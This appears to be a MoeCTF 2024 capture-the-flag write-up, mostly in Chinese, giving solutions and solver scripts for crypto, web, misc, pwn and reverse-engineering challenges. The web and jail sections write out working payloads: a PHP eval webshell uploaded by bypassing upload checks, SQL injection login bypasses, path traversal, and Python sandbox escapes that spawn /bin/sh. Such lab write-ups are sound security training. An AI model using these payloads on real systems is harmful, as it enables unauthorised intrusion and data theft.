MoeCTF
Crypto
Signin
moectf{Just_4_signin_ch4ll3ng3_for_y0u}
from Crypto.Util.number import*
#from secret import flag
from z3 import *
import gmpy2
m = bytes_to_long(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 65537
c = pow(m,e,n)
pq = (p-1)*(q-2)
qp = (q-1)*(p-2)
p_q = p + q
print(f"{c = }")
print(f"{pq = }")
print(f"{qp = }")
print(f"{n = }")
print(f"{p_q = }")
分析源码,直接用z3模块解方程就行了
解出pq
exp
from Crypto.Util.number import*
#from secret import flag
from z3 import *
import gmpy2
c =
pq =
qp =
n =
p_q =
e = 65537
s=Solver()
p,q=Ints("p q")
s.add(pq == (p-1) * (q-2))
s.add(qp == (q-1) * (p-2))
s.add(p_q == p + q)
s.check()
print(s.model())
p =
q =
phi = (p-1)*(q-1)
d = gmpy2.invert(e, phi)
m = pow(c,d,n)
print(long_to_bytes(m))
ez_hash
moectf{2100360168}
from hashlib import sha256
from secret import flag, secrets
assert flag == b'moectf{' + secrets + b'}'
assert secrets[:4] == b'2100' and len(secrets) == 10
hash_value = sha256(secrets).hexdigest()
print(f"{hash_value = }")
# hash_value = '3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a'
分析源码得知secrets长度为10且前四位为2100,从题目得知为纯数字,直接爆破
exp
from hashlib import sha256
hash_value = '3a5137149f705e4da1bf6742e62c018e3f7a1784ceebcb0030656a2b42f50b6a'
str1=b"2100"
for i in range(100000,1000000):
ent = str1 +str(i).encode('utf-8')
hash_t = sha256(ent).hexdigest()
if hash_t == hash_value:
print(b"moectf{"+ent+b"}")
Big and small
flag{xt>is>s>b}
from secret import flag
from Crypto.Util.number import*
m = long_to_bytes(flag)
p = getPrime(1024)
q = getPrime(1024)
n = p*q
e = 3
c = pow(m,e,n)
e=3,低加密指数攻击
exp
from Crypto.Util.number import*
import gmpy2
import libnum
c =
e = 3
n =
def exp(n, e, c):
k = 0
while 1:
m1 = k * n + c
m, t = gmpy2.iroot(m1, e)
if t:
print(libnum.n2s(int(m)))
break
k += 1
exp(n, e, c)
Web
Web渗透测试与审计入门指北
moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}
签到题直接搭建访问就行
弗拉格之地的入口
moectf{C0nGRAtUl@tiOn-f0R-knOWInG-r0botS_tXt18a13}
根据提示,应该是扫描目录
访问获得:
# Robots.txt file for xdsec.org
# only robots can find the entrance of web-tutor
User-agent: *
Disallow: /webtutorEntry.php
得到了网页地址,访问获得flag
弗拉格之地的挑战
moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}
访问提示的网址:
<html>
<head>
<meta charset="UTF-8">
<title>flag1</title>
</head>
<body>
<p>至少你会跳转 url (bushi</p>
<p>现在是第一道题,我们学习的是: html </p>
<p>这行字的下面一片空白,但是真的什么也没有吗?</p>
<!--恭喜你找到了网页的源代码,通常在这里题目会放一些提示,做题没头绪一定要先进来看一下-->
<!--flag1: bW9lY3Rm-->
<!--下一步:/flag2hh.php-->
</body>
</html>
查看源码获得flag1,以及下一步提示,访问网址
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Thu, 12 Sep 2024 03:36:18 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/7.3.22
flag2: e0FmdEV
nextpage: /flag3cad.php
根据提示在响应信息里找到flag2,以及下一步提示,访问网址
POST /flag3cad.php?a=1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6,zh-TW;q=0.5
Cache-Control: max-age=0
Connection: keep-alive
Host: 127.0.0.1:24252
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Edg/128.0.0.0
sec-ch-ua: "Chromium";v="128", "Not;A=Brand";v="24", "Microsoft Edge";v="128"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Cookie: verify=admin
b=1
根据他的提示用Yakit
一步步获得flag3yX3RoMXN
以及下一关的地址,访问网址
看提示应该是加Referer,在上一个的基础上加
Referer:http://localhost:8080/flag3cad.php?a=1
成功进入第四关,分析源代码,button.id=9时通关
F12直接修改源码,将8改成9
点击后在响应这发现flag4和下一个flag的网址
"恭喜你!你已经知道,前端的一切都是可以更改的!"
"flag4: fdFVUMHJ"
"前往:/flag5sxr.php"
访问网址,按提示操作,发现行不同,应该时需要抓包改值
随便输入一个值,再通过bp改值
成功拿到flag5 fSV90aDF
,进入下一关
这一关考的是PHP代码审计
检测两个参数是否为空
isset($_GET['moe']) && $_POST['moe']
检测GET参数moe是否包含flag
preg_match('/flag/', $_GET['moe']
检测GET参数moe是否包含忽视大小写的flag
preg_match('/flag/i', $_GET['moe']
构造payload
POST的moe传入任意值,GET的moe传入Flag
获得flag6rZV9VX2t
以及下一关地址
最后一关,根据提示含有一句话木马,用蚁剑进行连接
在根目录找到了flag7rbm93X1dlQn0=
将七个flag拼接起来获得:
bW9lY3Rme0FmdEVyX3RoMXNfdFVUMHJfSV90aDFrZV9VX2trbm93X1dlQn0=
这是一段base64编码,解码获得flag:
moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}
电院_Backend
moectf{1_DID_n0t_3xp3CT-yOU-To-BE-5o_STrOng89e19}
访问网页只有这一串文字,扫目录看看
访问/admin/ogin.php发现空白一片,再访问/admin/出现了一个后台登陆界面,根据附件源码分析得出存在sq/注入
$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
正常情况下在邮箱处输入test@123.com'or 1=1#
即可直接登入,但是邮箱处过滤了or这个字符,我们可以换成||
具有同样效果
test@123.com' || 1=1#
ez_http
moectf{YOu_aR3_Re@LlY-reA1ly_V3ry-cl3V3r!!!370d0}
签到题,跟着提示一步步做就行
垫刀之路01: MoeCTF?启动!
moectf{W31COmE-t0_moeCtF_and-ro4d1-5t4Rtup_by-5xrhhHe9}
执行cat /flag
提示flag在环境变量中,输入echo $FLAG
即可获得flag
垫刀之路02: 普通的文件上传
moectf{Up10Ad-y0uR-pAyL04d_@nD-d0_what-youR_wanta64}
文件上传,尝试上传一句话木马
<?php
eval($_POST["pass"]);
上传成功,访问看看
没有问题,尝试获取flag
post请求发送pass=system('echo $FLAG');
即可获得flag
垫刀之路03: 这是一个图床
moectf{6Yp4S5_Th3_mIM3-type_ANd_EXTen5lon_y0u-Can_D0-1T4}
通过题目知道限制了文件的后缀只能是图片格式,查看页面源代码
发现只是js限制后缀,后缀改为jpg尝试抓包改数据
将jpg修改为php
上传成功!
post请求发送pass=system('echo $FLAG');
即可获得flag
垫刀之路04: 一个文件浏览器
moectf{CrOSS-The-DiRECTOry_aNd-y0u-M@y_f1nD-eTC_pASsWD2b}
Sxrhhh 做了一个文件浏览器,塞了很多东西进去。不知道你能不能从这一堆乱七八糟的文件里面,翻出你想要的 flag 呢?
注意:题目中有一些 readme 文件,我觉得你不应该错过。
再注:本题与 jail-lv1 考点无关,只是致敬 (cue) 一下 flag 位置
访问网站,发现功能就是读文件,根据题目提示知道flag在/tmp
构建payload
?path=../../../../tmp/flag
垫刀之路05: 登陆网站
moectf{HaV3-the-USeFuI_PassWorD-@Nd-g0_EverywH3rE-ONIY_sqL_can_do0}
根据题目提示,分析网站存在SQL注入,万能密码直接登录
勇闯铜人阵
moectf{W31IlL_y0U_PasS_Th3-Ch@L1Enge-fRRRrrOm-tONr3N15}
访问网站,得知:
- 第一次回答需要输入选手名字和弟子明白
- 总共有五关,需要根据数字在3秒内回答方位
- 失败需要重走第一步
手动回答肯定不现实,打开F12,通过网络得知点击回答后进行了POST请求,变量为player和direct
exp
import random
import requests
import re
from bs4 import BeautifulSoup
url="http://127.0.0.1:37326/"
session = requests.Session()
player = random.randint(1,99999)
for i in range(6):
if i == 0:
payload={
"player":str(player),
"direct":"弟子明白"
}
os = session.post(url,data=payload)
Q = os.text
soup = BeautifulSoup(Q, 'html.parser')
content = soup.find('h1',{'id':'status'}).get_text()
print(content.strip())
direct=""
dict1 = {
"1" : "北方",
"2" : "东北方",
"3" : "东方",
"4" : "东南方",
"5" : "南方",
"6" : "西南方",
"7" : "西方",
"8" : "西北方"
}
content = content.strip()
content = content.replace(" ","")
if "," in content:
list1 = content.split(",")
direct = str(dict1.get(list1[0]))+"一个,"+str(dict1.get(list1[1]))+"一个"
else:
direct = dict1.get(content)
payload = {
"player": str(player),
"direct": direct
}
os = session.post(url,data=payload)
执行结果:
Misc
罗小黑战记
moectf{y0uu6r3th3m0st3r1nth1sf13ld}
拆分gif,发现二维码,扫码获得flag
杂项入门指北
moectf{H4VE_A_G00D_T1ME}
海报右边有类似摩斯密码的一串符号
ez_Forensics
moectf{WWBGY-TLVC5-XKYBZ}
ez_F5
moectf{F5_15_s0_lntere5t1n9}
根据题目提示为F5隐写
密码在这是base32编码解码获得no_password
打开获得flag
signin
moectf{Thanks_For_You_signing_in_4ND_W3l0c0me_T0_M0ecTf_2024!!!}
签到题没啥好说的
so many 'm'
moectf{C0MpuTaskingD4rE}
a!{ivlotzkEm{CtsvEpbDkwexsotyMuECs!mvlhmenrhwpMh0leydsMbC#CC}sii}tkb}ugCD{zlEeT#kyC0fbukglpopmaekbEthmjcMdsgkvmTnC}eot#dcf{ec@ccgqpfqMycysMuuou!en#{g0cDmoyxTCMgt{joT{jnl0rhoklCe{n0CnxprydeaTg0r{avkEjckjEsxhaohs{Trbkr!ffqip444uwrc}nnevgtCT{jCipogtipzdeDiqsy44rMfj{MzCw#qwg{T4m{cuk!hwuncxdmddeurtsojakrjC#vTDd}0poTT@c!DftjwuDp@mcuheeDtfao!iEcEq}kcf#Mpcam{mml4i4mpDnedamcwtC0nem{mDotnmp4jf@TpxfqMoiqwtdijDfimmCzmxe#gsTu{poeTEhD!u0anvTTTbbi{q}zapcksMifDlovoeac@{0keh0dg{Mi!@tfftqitmuMoMcuTpmcgnmozyrrv#zfmzmetyxxa0wczE}eoD{xcMnoCuebu0otdusiDknfvo0{fEsMftzT!eoslegbypspC4vkxm#uaf@acuemhMyiDou#at0rfl4a}0ixeEktws}pMCfCigaTafg}ffssmwwuTkTuls0{M@c4e@{D{tuorzmyqptChpngkeCohCCMTwqctinc0mcjemclv@cMoqf00poarte@oqmuysm#mo{et4kcCpcgcT}vD}m!g4{E0!Mol0fpo!{srT0pf{cMuCx0bp{ftTmExcrn}0etonez!@C4tfa4aM00siztb@fomfD#{#tMbo@jgb4CM0dEk0tea4aMCafn
打开文件一大堆字符,根据题目猜测是分析词频
字频降序moectf{C0MpuTaskingD4rE}!dvxlbhzwy@j#q
moejail_lv1
moectf{aH-hA_nOw_You_kNOW_hoW_to-3Sc4p3-5IMP1E_STrInG_F1lter0}
nc连接环境,回答他问题后输入一行python代码来执行,下面这句代码能执行ls
__import__('os').system("ls")
通过 wrapper.sh
我们知道了flag在tmp文件夹,payload输入下面这个能获得/bin/sh
权限来执行系统指令,按正常步骤即可拿到flag
__import__('os').system('/bin/sh')
moejail_lv2
moectf{YOu-c@N-ByPa55-ThE-5Tring_fiLt3R-6Y_nUm_to_chRd4}
根据题目提示:过滤了数字0-8还有' " []db以及非ASCII字符
if re.search(r'["\'0-8bd]|[^\x00-\xff]', code): print("Nope")
利用chr和repr等内置函数来绕过限制
- int(True) = 1
- len(repr(int))*9 = 117
构造payload
__import__(chr(int(str(int(True))+str(int(True))+str(int(True))))+chr(len(repr(int))*9-int(True)-int(True))).system(input())
输入/bin/sh来获取系统权限
执行 ls
,发现cat 打不开wrapper.sh,根据moejail_lv1
的经验猜测flag在/tmp/
成功找到flag
moejail_lv2.5
moectf{s0MET1mes_1NPUT-C@N_B3_A-m3Th0d_To_6YP4Ss-FlItERS0}
在 moejail_lv2
的前提下加强了对字符串的过滤,并限制了输入的长度
if re.search(r'["\'0-8bdhosxy_]|[^\x00-\xff]', code): print("Nope")
if len(code) > 15: print("Too long")
exp
eval(input())
Abnormal lag
moectf{09e3f7f8-c970-4c71-92b0-6f03a677421a}
用Audacity打开在频谱图两边看看有黑黑的可疑区域,ctrl+鼠标滑轮改变大小就能看到两边flag
拼接获得moectf{09e3f7f8-c970-4c71-92b0-6f03a677421a}
The upside and down
moectf{Fri3nds_d0n't_lie!}
用010打开附件,根据文件名上下颠倒
直接看最下面,74 E4 05 98
倒转一下是89 50 4E 47
是PNG的头部标识
os = open("the_upside_and_down.hex","rb")
print(os.read().hex()[::-1])
用python反转一下十六进制,粘贴进010中,打开新文件获得一个二维码,扫码获得flag
ctfer2077①
moectf{84d7f247-3cba-4077-ba25-079f3ac7bb8a}
打开图片附件发现是个二维码,扫码获得:
Do you want to get the flag?Please enjoy the video:BV1hThreMEyT
提示我们取看视频,给了B站视频号,去了发现是个陈年老梗...将视频一顿折腾,发现啥都没有,将目光又放在了那张图片上
用010打开搜索flag,获得提示是LSB隐写
用zsteg
打开,成功获得flag
ez_usbpcap
moectf{n1ha0w0y0udianl32451}
结合题目以及文件内容知道是usb流量,利用工具直接提取
是一串十六进制:6d6f656374667b6e3168613077307930756469616e6c33323435317d
将其转为字符串:6d6f656374667b6e3168613077307930756469616e6c33323435317d
工具地址:GitHub - Mumuzi7179/UsbKeyboard_Mouse_Hacker_Gui: 自带GUI的一键解鼠标流量/键盘流量小工具
每人至少300份
we1rd_qrc0d3
打开附件,看到被打乱的二维码,按照二维码的格式进行拼接,获得完整的二维码
扫码获得:
在获得的字符中出现了base58
和key{3FgQG9ZFteHzw7W42}
,经过测试,他给出的encode0.py和flag无关
将key中的值进行进行base58解码就能获得flag
解码获得:we1rd_qrc0d3
用moectf{}包裹获得完整flagmoectf{we1rd_qrc0d3}
the_secret_of_snowball
moectf{Welc0me_t0_the_secret_life_0f_Misc!}
图片无法正常打开,用010打开发现头部标识被篡改
将FFD6FFE0
改成FFD8DDE0
即可打开图片,打开图片获得一半flag
在最底部找到了一段base编码
解码获得ret_life_0f_Misc!
拼接获得moectf{Welc0me_t0_the_secret_life_0f_Misc!}
Find It
moectf{ji_di_bao_you_er_yuan}
根据题目提到是在西安,以及图片中的雄峰集团
在百度地图搜索西安雄峰集团
根据地图只看到了左上角有两个幼儿园且名字中含有相同部分,flag:moectf{ji_di_bao_you_er_yuan}
解不完的压缩包
moectf{af9c688e-e0b9-4900-879c-672b44c550ea}
利用工具一键解这套娃压缩包,工具地址:GitHub - PPJUST/OnlyUnzip: 带UI的解压工具
最后获得一个带密码的压缩包,密码存在前四个文件,因为文件很小可以进行CRC爆破
通过随波逐流爆破出密码为:*m:#P7j0
解压获得flag:moectf{af9c688e-e0b9-4900-879c-672b44c550ea}
Pwn
NotEnoughTime
moectf{aR1THmetlC_Is-noT-maTh3m4Tics9e0153}
nc 连接发现就是普通的加减乘除 且 限制30秒时间,写个脚本就行了
import socket
import re
host = '127.0.0.1'
port = 35229
def Tostr(st):
return st.encode(encoding='UTF8')
def connect():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
return s
def exp():
s = connect()
print(s.recv(68))
for i in range(30):
text = b""
while True:
newtext = s.recv(1)
if b"=" in newtext:
break
text += newtext
pattern = r'(\d+|[+\-*/])'
result = re.findall(pattern, text.decode('utf-8'))
f = ""
for x in result:
f +=x
f = f.replace("/","//")
payload = str(eval(f)).encode('utf-8')+b"\n"
print("第"+str(i+1)+"条:",text,f,payload)
s.send(payload)
if i == 21:
print(s.recv(1024))
print(s.recv(1024))
#moectf{aR1THmetlC_Is-noT-maTh3m4Tics9e0153}
if __name__ == '__main__':
exp()
每次到第二十二个题就停止了,原来是只有二十二个题
Reverse
逆向工程入门指北
moectf{r3v3rs3_1s_a_long_long_way_to_explore}
exp
unsigned_char_ida_chars =[
123, 121, 115, 117, 98, 112, 109, 100, 37, 96, 37, 100, 101, 37, 73, 39,
101, 73, 119, 73, 122, 121, 120, 113, 73, 122, 121, 120, 113, 73, 97, 119,
111, 73, 98, 121, 73, 115, 110, 102, 122, 121, 100, 115, 107, 22
]
for i in unsigned_char_ida_chars:
print(chr(i ^ 22),end="")
#moectf{r3v3rs3_1s_a_long_long_way_to_explore}
xor
moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}
用IDA打开附件,分析伪代码
- flag的长度为45
- 将用户输入的字符进行异或与
byte_1400022B8
进行比较
查看该变量的值
用Shift+E将其提取出来
exp
unsigned_char_ida_chars =[
0x49, 0x4B, 0x41, 0x47, 0x50, 0x42, 0x5F, 0x41, 0x1C, 0x16,
0x46, 0x10, 0x13, 0x1C, 0x40, 0x09, 0x42, 0x16, 0x46, 0x1C,
0x09, 0x10, 0x10, 0x42, 0x1D, 0x09, 0x46, 0x15, 0x14, 0x14,
0x09, 0x17, 0x16, 0x14, 0x41, 0x40, 0x40, 0x16, 0x14, 0x47,
0x12, 0x40, 0x14, 0x59, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
]
for i in unsigned_char_ida_chars:
print(chr(i ^ 0x24),end="")
#moectf{e82b478d-f2b8-44f9-b100-320edd20c6d0}
upx
moectf{ec5390dd-f8cf-4b02-bc29-3bb0c5604c29}
查壳发现upx壳,用工具脱壳
IDA打开直接就能看到flag
upx-revenge
moectf{554ea35c-a1bb-4d8f-a323-bd697564bf27}
用查壳工具查壳发现是UPX壳,用工具脱壳发现不行
用010打开看看
发现将UPX改成了vmp,将vmp改成UPX即可正常脱壳